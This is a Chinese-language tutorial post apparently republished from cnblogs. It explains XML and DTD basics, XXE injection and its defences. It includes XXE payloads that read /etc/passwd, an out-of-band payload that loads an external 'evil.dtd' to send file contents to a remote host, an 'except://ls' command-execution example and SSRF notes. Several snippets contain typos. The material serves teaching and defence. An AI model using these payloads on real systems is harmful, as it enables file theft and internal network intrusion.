XXE总结
0x00 目錄
?
0x01 XML基礎
定義:一種標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。
XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
<!--XML聲明--> <?xml version="1.0"?> <!--文檔類型定義--> <!DOCTYPE note [ <!--定義此文檔是 note 類型的文檔--> <!ELEMENT note (to,from,heading,body)> <!--定義note元素有四個元素--> <!ELEMENT to (#PCDATA)> <!--定義to元素為”#PCDATA”類型--> <!ELEMENT from (#PCDATA)> <!--定義from元素為”#PCDATA”類型--> <!ELEMENT head (#PCDATA)> <!--定義head元素為”#PCDATA”類型--> <!ELEMENT body (#PCDATA)> <!--定義body元素為”#PCDATA”類型--> ]]]> <!--文檔元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>DTD
內部聲明DTD:
<!DOCTYPE 根元素 [元素聲明]>外部聲明DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">DTD中的一些重要的關鍵字:
- DOCTYPE(DTD的聲明)
- ENTITY(實體的聲明)
- SYSTEM、PUBLIC(外部資源申請)
實體類別介紹
實體主要分為兩類
1? 一般實體:內置實體/字符實體/通用實體
2? 參數實體
舉例:
內部實體
外部實體
<!ENTITY 實體名稱 SYSTEM "URI">參數實體
<!ENTITY % 實體名稱 "實體內容"> 或者 <!ENTITY % 實體名稱 "URI">外部實體
默認協議
PHP擴展協議?
舉例:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [<!ENTITY passwd "file:///etc/passwd">]> <foo><value>&passwd;</value> </foo>0x02 XXE漏洞
XXE就是XML外部實體注入。當允許引用外部實體時,通過構造惡意內容,可導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。
舉例
**DTD文件內容** <!ENTITY b SYSTEM "file:///etc/passwd">
XXE的危害
1.讀取任意文件 - 有回顯
**xml.php**<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [<!ENTITY f SYSTEM "file:///etc/passwd"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>? ? ? ? ? ? ? ? ? ? ? ? ? ?- 無回顯,可以將文件內容發送到遠程服務器,然后讀取。
**xx.xml**<?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE a[<!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">%f; ]> <a>&b;</a> $data = simplexml_load_string($xml); print_r($data);
**evil.dtd**
<ENTITY b SYSTEM "file:///etc/passwd">
2.命令執行
php環境下,xml命令執行要求php裝有expect擴展。而該擴展默認沒有安裝。
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [<!ENTITY f SYSTEM "except://ls"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>3.內網探測/SSRF
由于xml實體注入攻擊可以利用http://協議,也就是可以發起http請求。可以利用該請求去探查內網,進行SSRF攻擊。
0x03 XXE漏洞修復與防御
xmllib2.9.0以后,默認不解析外部實體的。
1.使用開發語言提供的禁用外部實體的方法
PHP: libxml_disable_entity_loader(true);JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.過濾用戶提交的XML數據
過濾關鍵詞:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
?
0x04 總結
XXE的高階玩法很多,但究其原理都一樣。“千里之堤,始于足下;百丈之臺,始于壘土。”
XXE漏洞學習從入門到放棄:https://www.jianshu.com/p/77f2181587a4
XXE萌新進階全攻略:https://www.freebuf.com/vuls/194112.html
XXE進階——OOB攻擊:https://www.jianshu.com/p/be4d7d5f799c
DTD/XXE 攻擊筆記分享:https://www.freebuf.com/articles/web/97833.html
google“XXE進階/全攻略/oob(out of band)”
轉載于:https://www.cnblogs.com/p0pl4r/p/10335752.html
總結
- 上一篇: 运行SSIS包的几种方式
- 下一篇: Angular2父子组件数据传递之@Vi